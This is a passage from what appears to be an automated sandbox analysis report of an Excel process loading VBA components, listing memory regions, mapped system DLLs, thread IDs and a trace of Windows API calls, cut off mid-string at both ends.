end_va = 0x5222fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005220000" filename = "" Region: id = 563 start_va = 0x5260000 end_va = 0x526ffff entry_point = 0x0 region_type = private name = "private_0x0000000005260000" filename = "" Region: id = 564 start_va = 0x7fee6430000 end_va = 0x7fee6455fff entry_point = 0x7fee6430000 region_type = mapped_file name = "vbe7intl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll") Region: id = 565 start_va = 0x5270000 end_va = 0x5279fff entry_point = 0x5270000 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 566 start_va = 0x5560000 end_va = 0x5560fff entry_point = 0x0 region_type = private name = "private_0x0000000005560000" filename = "" Region: id = 567 start_va = 0x56b0000 end_va = 0x56effff entry_point = 0x0 region_type = private name = "private_0x00000000056b0000" filename = "" Region: id = 568 start_va = 0x56f0000 end_va = 0x56f2fff entry_point = 0x0 region_type = private name = "private_0x00000000056f0000" filename = "" Region: id = 569 start_va = 0x5700000 end_va = 0x5703fff entry_point = 0x0 region_type = private name = "private_0x0000000005700000" filename = "" Region: id = 570 start_va = 0x5710000 end_va = 0x5710fff entry_point = 0x0 region_type = private name = "private_0x0000000005710000" filename = "" Region: id = 571 start_va = 0x5720000 end_va = 0x5720fff entry_point = 0x0 region_type = private name = "private_0x0000000005720000" filename = "" Region: id = 572 start_va = 0x5730000 end_va = 0x5730fff entry_point = 0x0 region_type = private name = "private_0x0000000005730000" filename = "" Region: id = 573 start_va = 0x5740000 end_va = 0x5747fff entry_point = 0x0 region_type = private name = "private_0x0000000005740000" filename = "" Region: id = 574 start_va = 0x5750000 end_va = 0x578ffff entry_point = 0x0 region_type = private name = "private_0x0000000005750000" filename = "" Region: id = 575 start_va = 0x5790000 end_va = 0x5792fff entry_point = 0x0 region_type = private name = "private_0x0000000005790000" filename = "" Region: id = 576 start_va = 0xa470000 end_va = 0xa4effff entry_point = 0xa470000 region_type = mapped_file name = "~dfa66d36edfd7c7f9b.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DFA66D36EDFD7C7F9B.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~dfa66d36edfd7c7f9b.tmp") Region: id = 577 start_va = 0xd940000 end_va = 0xe93ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000d940000" filename = "" Region: id = 578 start_va = 0xacc0000 end_va = 0xadb8fff entry_point = 0xacc0000 region_type = mapped_file name = "excel.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe") Region: id = 579 start_va = 0x5cb0000 end_va = 0x5cc6fff entry_point = 0x5cb0000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 580 start_va = 0x57a0000 end_va = 0x57a3fff entry_point = 0x57a0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 581 start_va = 0xab20000 end_va = 0xaba8fff entry_point = 0xab20000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 582 start_va = 0x5cd0000 end_va = 0x5cd3fff entry_point = 0x0 region_type = private name = "private_0x0000000005cd0000" filename = "" Region: id = 583 start_va = 0x5d00000 end_va = 0x5d03fff entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 584 start_va = 0x5d10000 end_va = 0x5d12fff entry_point = 0x0 region_type = private name = "private_0x0000000005d10000" filename = "" Region: id = 585 start_va = 0x5da0000 end_va = 0x5da1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005da0000" filename = "" Region: id = 586 start_va = 0x5db0000 end_va = 0x5db1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005db0000" filename = "" Region: id = 587 start_va = 0x8780000 end_va = 0x8780fff entry_point = 0x0 region_type = private name = "private_0x0000000008780000" filename = "" Region: id = 588 start_va = 0xea10000 end_va = 0xeb0ffff entry_point = 0x0 region_type = private name = "private_0x000000000ea10000" filename = "" Region: id = 589 start_va = 0x7fee6090000 end_va = 0x7fee61fffff entry_point = 0x7fee6090000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msptls.dll") Region: id = 590 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 591 start_va = 0x5eb0000 end_va = 0x5eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000005eb0000" filename = "" Region: id = 592 start_va = 0xeca0000 end_va = 0xed9ffff entry_point = 0x0 region_type = private name = "private_0x000000000eca0000" filename = "" Region: id = 593 start_va = 0xeda0000 end_va = 0xef9ffff entry_point = 0x0 region_type = private name = "private_0x000000000eda0000" filename = "" Region: id = 594 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 595 start_va = 0xeb10000 end_va = 0xec8ffff entry_point = 0x0 region_type = private name = "private_0x000000000eb10000" filename = "" Region: id = 596 start_va = 0x5dc0000 end_va = 0x5dc3fff entry_point = 0x0 region_type = private name = "private_0x0000000005dc0000" filename = "" Region: id = 597 start_va = 0x5ec0000 end_va = 0x5ec3fff entry_point = 0x0 region_type = private name = "private_0x0000000005ec0000" filename = "" Region: id = 598 start_va = 0x5ed0000 end_va = 0x5ed3fff entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 599 start_va = 0x5f70000 end_va = 0x5f73fff entry_point = 0x0 region_type = private name = "private_0x0000000005f70000" filename = "" Region: id = 600 start_va = 0x5f90000 end_va = 0x5f93fff entry_point = 0x0 region_type = private name = "private_0x0000000005f90000" filename = "" Region: id = 616 start_va = 0x7fee58a0000 end_va = 0x7fee5959fff entry_point = 0x7fee58a0000 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll") Region: id = 822 start_va = 0x5d20000 end_va = 0x5d21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d20000" filename = "" Region: id = 823 start_va = 0x5d30000 end_va = 0x5d31fff entry_point = 0x0 region_type = private name = "private_0x0000000005d30000" filename = "" Region: id = 824 start_va = 0x5d40000 end_va = 0x5d41fff entry_point = 0x0 region_type = private name = "private_0x0000000005d40000" filename = "" Region: id = 825 start_va = 0x5d50000 end_va = 0x5d50fff entry_point = 0x0 region_type = private name = "private_0x0000000005d50000" filename = "" Region: id = 826 start_va = 0x5d60000 end_va = 0x5d60fff entry_point = 0x0 region_type = private name = "private_0x0000000005d60000" filename = "" Region: id = 827 start_va = 0x5d70000 end_va = 0x5d71fff entry_point = 0x0 region_type = private name = "private_0x0000000005d70000" filename = "" Region: id = 828 start_va = 0x7f70000 end_va = 0x8119fff entry_point = 0x0 region_type = private name = "private_0x0000000007f70000" filename = "" Region: id = 829 start_va = 0x8120000 end_va = 0x81effff entry_point = 0x8120000 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 830 start_va = 0x7fedf640000 end_va = 0x7fee00fdfff entry_point = 0x7fedf640000 region_type = mapped_file name = "igx.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\IGX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\igx.dll") Region: id = 831 start_va = 0x5d80000 end_va = 0x5d82fff entry_point = 0x0 region_type = private name = "private_0x0000000005d80000" filename = "" Region: id = 832 start_va = 0x5d90000 end_va = 0x5d90fff entry_point = 0x0 region_type = private name = "private_0x0000000005d90000" filename = "" Region: id = 833 start_va = 0x5de0000 end_va = 0x5de2fff entry_point = 0x0 region_type = private name = "private_0x0000000005de0000" filename = "" Region: id = 834 start_va = 0x5e00000 end_va = 0x5e02fff entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 835 start_va = 0x7fedf500000 end_va = 0x7fedf63cfff entry_point = 0x7fedf500000 region_type = mapped_file name = "d3d10.dll" filename = "\\Windows\\System32\\d3d10.dll" (normalized: "c:\\windows\\system32\\d3d10.dll") Region: id = 836 start_va = 0x7fee1700000 end_va = 0x7fee174afff entry_point = 0x7fee1700000 region_type = mapped_file name = "d3d10core.dll" filename = "\\Windows\\System32\\d3d10core.dll" (normalized: "c:\\windows\\system32\\d3d10core.dll") Region: id = 837 start_va = 0x7fffff50000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff50000" filename = "" Region: id = 863 start_va = 0x5dd0000 end_va = 0x5dd2fff entry_point = 0x0 region_type = private name = "private_0x0000000005dd0000" filename = "" Region: id = 864 start_va = 0x5df0000 end_va = 0x5df2fff entry_point = 0x0 region_type = private name = "private_0x0000000005df0000" filename = "" Region: id = 865 start_va = 0x5e20000 end_va = 0x5e22fff entry_point = 0x0 region_type = private name = "private_0x0000000005e20000" filename = "" Region: id = 866 start_va = 0x7fef7e10000 end_va = 0x7fef7e73fff entry_point = 0x7fef7e10000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 867 start_va = 0x7fef7e80000 end_va = 0x7fef7ef0fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 868 start_va = 0x7fefb0a0000 end_va = 0x7fefb0b7fff entry_point = 0x7fefb0a0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 869 start_va = 0x7fefb0c0000 end_va = 0x7fefb0d0fff entry_point = 0x7fefb0c0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 870 start_va = 0x7fefb240000 end_va = 0x7fefb24afff entry_point = 0x7fefb240000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 871 start_va = 0x7fefb250000 end_va = 0x7fefb276fff entry_point = 0x7fefb250000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 872 start_va = 0x7fefcb30000 end_va = 0x7fefcb39fff entry_point = 0x7fefcb30000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 878 start_va = 0x7fefced0000 end_va = 0x7fefcf24fff entry_point = 0x7fefced0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 879 start_va = 0x5e10000 end_va = 0x5e11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e10000" filename = "" Region: id = 880 start_va = 0x5e30000 end_va = 0x5e3bfff entry_point = 0x5e30000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 881 start_va = 0x5e40000 end_va = 0x5e47fff entry_point = 0x5e40000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 882 start_va = 0x5eb0000 end_va = 0x5ebffff entry_point = 0x5eb0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 883 start_va = 0xd840000 end_va = 0xd8bffff entry_point = 0x0 region_type = private name = "private_0x000000000d840000" filename = "" Region: id = 884 start_va = 0xefa0000 end_va = 0xf2e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000efa0000" filename = "" Region: id = 885 start_va = 0x7fef3050000 end_va = 0x7fef306bfff entry_point = 0x7fef3050000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 886 start_va = 0x7fef3070000 end_va = 0x7fef30d1fff entry_point = 0x7fef3070000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 887 start_va = 0x7fefc8d0000 end_va = 0x7fefc8d6fff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 888 start_va = 0x7fefcd50000 end_va = 0x7fefcdaafff entry_point = 0x7fefcd50000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 889 start_va = 0x7fefcec0000 end_va = 0x7fefcec6fff entry_point = 0x7fefcec0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 890 start_va = 0x7fef54e0000 end_va = 0x7fef54e8fff entry_point = 0x7fef54e0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 891 start_va = 0x7fefacb0000 end_va = 0x7fefacc0fff entry_point = 0x7fefacb0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 892 start_va = 0xeb10000 end_va = 0xec0ffff entry_point = 0x0 region_type = private name = "private_0x000000000eb10000" filename = "" Region: id = 893 start_va = 0xec10000 end_va = 0xec8ffff entry_point = 0x0 region_type = private name = "private_0x000000000ec10000" filename = "" Region: id = 894 start_va = 0xf340000 end_va = 0xf43ffff entry_point = 0x0 region_type = private name = "private_0x000000000f340000" filename = "" Region: id = 895 start_va = 0xf470000 end_va = 0xf47ffff entry_point = 0x0 region_type = private name = "private_0x000000000f470000" filename = "" Region: id = 896 start_va = 0x7fef3eb0000 end_va = 0x7fef3ec4fff entry_point = 0x7fef3eb0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 897 start_va = 0x7fef6ee0000 end_va = 0x7fef6ee7fff entry_point = 0x7fef6ee0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 898 start_va = 0x7fffff4e000 end_va = 0x7fffff4ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff4e000" filename = "" Region: id = 899 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 900 start_va = 0x7fef3e90000 end_va = 0x7fef3ea8fff entry_point = 0x7fef3e90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 901 start_va = 0x7fef3e80000 end_va = 0x7fef3e8afff entry_point = 0x7fef3e80000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 902 start_va = 0x7fefb0f0000 end_va = 0x7fefb142fff entry_point = 0x7fefb0f0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 905 start_va = 0xf600000 end_va = 0xf67ffff entry_point = 0x0 region_type = private name = "private_0x000000000f600000" filename = "" Region: id = 906 start_va = 0x7fefccc0000 end_va = 0x7fefcd16fff entry_point = 0x7fefccc0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 907 start_va = 0x81f0000 end_va = 0x81f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000081f0000" filename = "" Region: id = 908 start_va = 0x7fefd0d0000 end_va = 0x7fefd11dfff entry_point = 0x7fefd0d0000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 909 start_va = 0x93c0000 end_va = 0x94bffff entry_point = 0x0 region_type = private name = "private_0x00000000093c0000" filename = "" Region: id = 910 start_va = 0xf4b0000 end_va = 0xf5affff entry_point = 0x0 region_type = private name = "private_0x000000000f4b0000" filename = "" Region: id = 911 start_va = 0x7fefc9c0000 end_va = 0x7fefc9dafff entry_point = 0x7fefc9c0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 912 start_va = 0x7fffff4c000 end_va = 0x7fffff4dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff4c000" filename = "" Region: id = 915 start_va = 0x7fef3c40000 end_va = 0x7fef3d5efff entry_point = 0x7fef3c40000 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 929 start_va = 0x25b0000 end_va = 0x25d6fff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 930 start_va = 0x25e0000 end_va = 0x265ffff entry_point = 0x25e0000 region_type = mapped_file name = "84330000" filename = "\\Users\\aETAdzjz\\Desktop\\84330000" (normalized: "c:\\users\\aetadzjz\\desktop\\84330000") Region: id = 931 start_va = 0x2660000 end_va = 0x2663fff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 932 start_va = 0xf680000 end_va = 0x1067ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f680000" filename = "" Region: id = 933 start_va = 0x7fef42a0000 end_va = 0x7fef4491fff entry_point = 0x7fef42a0000 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 934 start_va = 0x2670000 end_va = 0x2670fff entry_point = 0x2670000 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 935 start_va = 0x40a0000 end_va = 0x411ffff entry_point = 0x0 region_type = private name = "private_0x00000000040a0000" filename = "" Region: id = 936 start_va = 0xa810000 end_va = 0xa88ffff entry_point = 0x0 region_type = private name = "private_0x000000000a810000" filename = "" Region: id = 937 start_va = 0xb030000 end_va = 0xb0affff entry_point = 0x0 region_type = private name = "private_0x000000000b030000" filename = "" Region: id = 938 start_va = 0xb0b0000 end_va = 0xb4affff entry_point = 0x0 region_type = private name = "private_0x000000000b0b0000" filename = "" Region: id = 939 start_va = 0x4120000 end_va = 0x419ffff entry_point = 0x4120000 region_type = mapped_file name = "~dfb4e85a82d0991e5f.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DFB4E85A82D0991E5F.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~dfb4e85a82d0991e5f.tmp") Thread: id = 1 os_tid = 0xb3c Thread: id = 2 os_tid = 0xb38 Thread: id = 3 os_tid = 0xb34 Thread: id = 4 os_tid = 0xb30 Thread: id = 5 os_tid = 0xb2c Thread: id = 6 os_tid = 0xb28 Thread: id = 7 os_tid = 0xb24 Thread: id = 8 os_tid = 0xb20 Thread: id = 9 os_tid = 0xb1c Thread: id = 10 os_tid = 0xb18 Thread: id = 11 os_tid = 0xb14 Thread: id = 12 os_tid = 0xb10 Thread: id = 13 os_tid = 0xb0c Thread: id = 14 os_tid = 0xac0 Thread: id = 15 os_tid = 0xabc Thread: id = 16 os_tid = 0xab8 Thread: id = 17 os_tid = 0xab4 Thread: id = 18 os_tid = 0xab0 Thread: id = 19 os_tid = 0xaac Thread: id = 20 os_tid = 0xa78 Thread: id = 21 os_tid = 0xa74 Thread: id = 22 os_tid = 0xa70 Thread: id = 23 os_tid = 0xa6c Thread: id = 24 os_tid = 0xa68 Thread: id = 25 os_tid = 0xa48 Thread: id = 26 os_tid = 0xa44 Thread: id = 27 os_tid = 0xa40 Thread: id = 28 os_tid = 0xa3c Thread: id = 29 os_tid = 0xa38 Thread: id = 30 os_tid = 0xa34 Thread: id = 31 os_tid = 0xa30 [0073.772] GetModuleHandleA (lpModuleName=0x0) returned 0x13f190000 [0073.773] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x7fee5fb7e58, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0x1f40c0, cbBuffer=0x10, pcbWrittenOrRequired=0x0 | out: pvBuffer=0x1f40c0, pcbWrittenOrRequired=0x0) returned 1 [0073.773] ActivateActCtx (in: hActCtx=0x672a8f8, lpCookie=0x1f40b0 | out: hActCtx=0x672a8f8, lpCookie=0x1f40b0) returned 1 [0073.773] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0x1f40d0 | out: ReturnedData=0x1f40d0) returned 1 [0073.773] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x7fefc140000 [0073.774] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000bf3) returned 1 [0073.774] RegisterClassA (lpWndClass=0x1f4400) returned 0x386f05b4c068 [0073.774] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000bf4) returned 1 [0073.775] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0073.775] SetCursor (hCursor=0x10007) returned 0x10007 [0073.775] _set_invalid_parameter_handler (_Handler=0x7fee5bf10c8) returned 0x0 [0073.775] wcscpy_s (in: _Destination=0x61821f8, _SizeInWords=0xb, _Source="7.1\\" | out: _Destination="7.1\\") returned 0x0 [0073.775] wcscpy_s (in: _Destination=0x6182200, _SizeInWords=0x7, _Source="Common" | out: _Destination="Common") returned 0x0 [0073.775] GetACP () returned 0x4e4 [0073.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", cchWideChar=77, lpMultiByteStr=0x5ce2540, cbMultiByte=154, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", lpUsedDefaultChar=0x0) returned 77 [0073.788] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName=0x7fee5f98f60, phModule=0x7fee5fbf848 | out: phModule=0x7fee5fbf848*=0x7fef93e0000) returned 1 [0073.788] GetProcAddress (hModule=0x7fef93e0000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7fef9463b3c [0073.789] GetProcAddress (hModule=0x7fef93e0000, lpProcName="MsiGetProductCodeA") returned 0x7fef945a13c [0073.789] GetProcAddress (hModule=0x7fef93e0000, lpProcName="MsiReinstallFeatureA") returned 0x7fef9461618 [0073.789] GetProcAddress (hModule=0x7fef93e0000, lpProcName="MsiProvideComponentA") returned 0x7fef945f088 [0073.803] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0073.803] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0073.803] lstrcpyW (in: lpString1=0x1f4180, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0073.804] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0074.306] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7fee5960000 [0074.422] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000bf5) returned 1 [0074.427] RegisterClipboardFormatA (lpszFormat="VBM_FHwndIsHctl") returned 0xc1be [0074.427] lstrlenA (lpString="") returned 0 [0074.427] lstrcpyA (in: lpString1=0x5ce2640, lpString2="" | out: lpString1="") returned="" [0074.427] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0x1f4160, nSize=0x118 | out: lpBuffer="¯\x01") returned 0x0 [0074.427] SetErrorMode (uMode=0x8001) returned 0x8001 [0074.427] GetModuleFileNameA (in: hModule=0x7fee5bf0000, lpFilename=0x1f3e70, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0074.427] lstrcpyA (in: lpString1=0x1f3d60, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0074.427] lstrcpyA (in: lpString1=0x1f3d60, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0074.427] lstrcpyA (in: lpString1=0x1f3d60, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0074.427] lstrcpyA (in: lpString1=0x1f3d60, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0074.427] lstrcpyA (in: lpString1=0x1f3d60, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0074.427] lstrcpyA (in: lpString1=0x1f3d60, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0074.427] strcpy_s (in: _Dst=0x1f3f80, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0074.427] _ultoa_s (in: _Val=0x409, _DstBuf=0x1f3ae0, _Size=0x6, _Radix=10 | out: _DstBuf="1033") returned 0x0 [0074.427] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1033" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033") returned 0x0 [0074.428] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft 